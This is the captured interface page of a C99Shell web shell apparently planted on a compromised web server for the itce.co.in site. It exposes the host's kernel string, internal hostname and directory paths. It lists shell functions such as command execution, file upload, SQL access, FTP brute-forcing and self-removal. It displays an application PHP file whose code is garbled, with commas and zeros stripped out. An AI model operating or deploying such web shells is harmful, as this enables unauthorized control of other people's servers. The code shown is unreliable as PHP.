!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/classes/controls/   drwxr-xr-x
Free 30.71 GB of 49.93 GB (61.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ViewCheckboxField.php (1.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ViewCheckboxField extends ViewControl
{

    public function 
getTrueCondition($data)
    {
        if( 
$this->getHostPageDbType() == nDATABASE_PostgreSQL )
            return 
$data[$this->field] === "t" || $data[$this->field] != && $data[$this->field] != "";
        else
            return 
$data[$this->field] != && $data[$this->field] != "";
    }

    public function 
getPdfValue(&$data$keylink "")
    {
        
$boolVal $this->getTrueCondition($data) ? "true" "false";
        return 
"{text: '', checkbox: " $boolVal "}";
    }

    public function 
showDBValue(&$data$keylink$html true )
    {        
        
$result "<img src=\"";
        
$imgSrc "images/check_";
            
        
$imgSrc.= $this->getTrueCondition($data) ? "yes" "no";

        
$result.= GetRootPathForResources($imgSrc.".gif")."\" border=0";
        if(
isEnableSection508())
            
$result .= " alt=\" \"";
        
$result .=  ">";
        
        return 
$result;
    }
    
    
/**
     * Get the host page's db connection's type
     * @return Number
     */
    
protected function getHostPageDbType()
    {
        global 
$cman;
        return 
$cman->byTable$this->container->tName )->dbType;
    }

    
/**
     * Get the field's content that will be exported
     * @prarm &Array data
     * @prarm String keylink
     * @return String
     */
    
public function getExportValue(&$data$keylink "")
    {
        return 
nl2br$data$this->field ] );
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--